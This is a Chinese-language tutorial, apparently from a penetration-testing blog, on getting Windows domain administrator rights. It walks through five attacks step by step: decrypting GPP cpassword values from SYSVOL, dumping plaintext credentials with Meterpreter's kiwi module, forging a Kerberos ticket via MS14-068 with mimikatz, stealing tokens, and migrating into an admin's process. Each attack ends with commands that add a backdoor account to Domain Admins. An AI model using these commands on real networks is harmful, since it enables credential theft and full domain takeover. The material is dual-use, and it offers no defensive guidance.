在不考虑直接攻击域控的情况下,如何快速获取域管理员权限呢?
在大多数情况下,攻击者可以通过定位域管理员所登录的服务器,利用漏洞获取服务器system权限,找到域管理的账号、进程或是身份验证令牌,从而获取域管理员权限。本文分享几种常见的获取域管理员权限的方式。
第1种方式:利用GPP漏洞获取域管理权限
SYSVOL是域内的共享文件夹,用来存放登录脚本、组策略脚本等信息。当域管理员通过组策略修改密码时,在脚本中引入用户密码,就可能导致安全问题。
(1)访问SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密的密码。
(2)使用kali自带的gpp-decrypt进行破解,从而获取域账号密码,直接登录域管理员账号获取访问权限。
第2种方式:获取服务器明文登录密码
使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。
meterpreter > getuid
Server username: BYPASS-E97BA3FC\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
加载kiwi模块
load kiwi
列举系统中的明文密码
creds_all
第3种方式:使用MS14-068漏洞进行提权
MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。
攻击流程:
第一步:利用MS14-068伪造生成TGT
MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d dc.test.com
第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书
mimikatz#kerberos::ptc TGT_bypass@test.com.ccache
第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操作。
PsExec.exe \\dc cmd.exe
// 添加test用户
net user test abc123! /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins" test /add /domain
// 查看域管理员
net group "domain admins" /domain
第4种方式:窃取域管理员令牌
当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。
1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。
2、直接在meterpreter shell
上执行添加域管理员
add_user test abc123! -h 域控的IP地址
add_group_user "Domain Admins" test -h 域控IP地址
第5种方式:进程迁移
入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。
1、获取域管理员列表
net group "Domain Admins" /domain
2、利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进程中,成功后就获得了域管理员权限。如下图所示:
3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:
// 添加test用户
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins" test /add /domain
4、成功添加了域管理员账号test。